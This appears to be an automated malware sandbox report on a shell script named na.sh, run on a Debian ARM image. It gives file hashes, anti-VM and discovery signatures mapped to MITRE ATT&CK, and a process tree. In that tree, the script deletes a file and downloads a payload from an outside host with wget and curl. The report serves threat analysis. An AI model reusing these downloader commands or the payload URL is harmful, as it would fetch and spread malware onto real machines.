a943b4d8df76176e8efe5e3c02f15443d8eb14912510e57b80c3026d97b38af1

Analysis

max time kernel
150s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/10/2024, 15:09

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General

Target

na.sh
Size

10KB
MD5

a452ad9e43fc1502098aac10fd6fb670
SHA1

9f952b33fe625843afd687d3f2d9d34e288a84fd
SHA256

a943b4d8df76176e8efe5e3c02f15443d8eb14912510e57b80c3026d97b38af1
SHA512

06256862b4eebecb35da744f04bb535d46ecb8245d28905637268ceaa86ea997b1d80142e98fb9ace8762b116ea45a054d699de55f9982161a8da325b9f881ef
SSDEEP

96:YyKjIEkLCahHnb8Xr9XrDMLKC2mKJpLaS+U646cP62RBq8AZDfdL3x3p3M7v7qiq:fTOPHJpmt1PHJl

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
667	wget
672	curl

/tmp/na.sh
/tmp/na.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GQOvTSEXoMYG8WAqYTJ5z1qUHFC7kMmiGi
  2⤵
  - System Network Configuration Discovery
  PID:667
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GQOvTSEXoMYG8WAqYTJ5z1qUHFC7kMmiGi
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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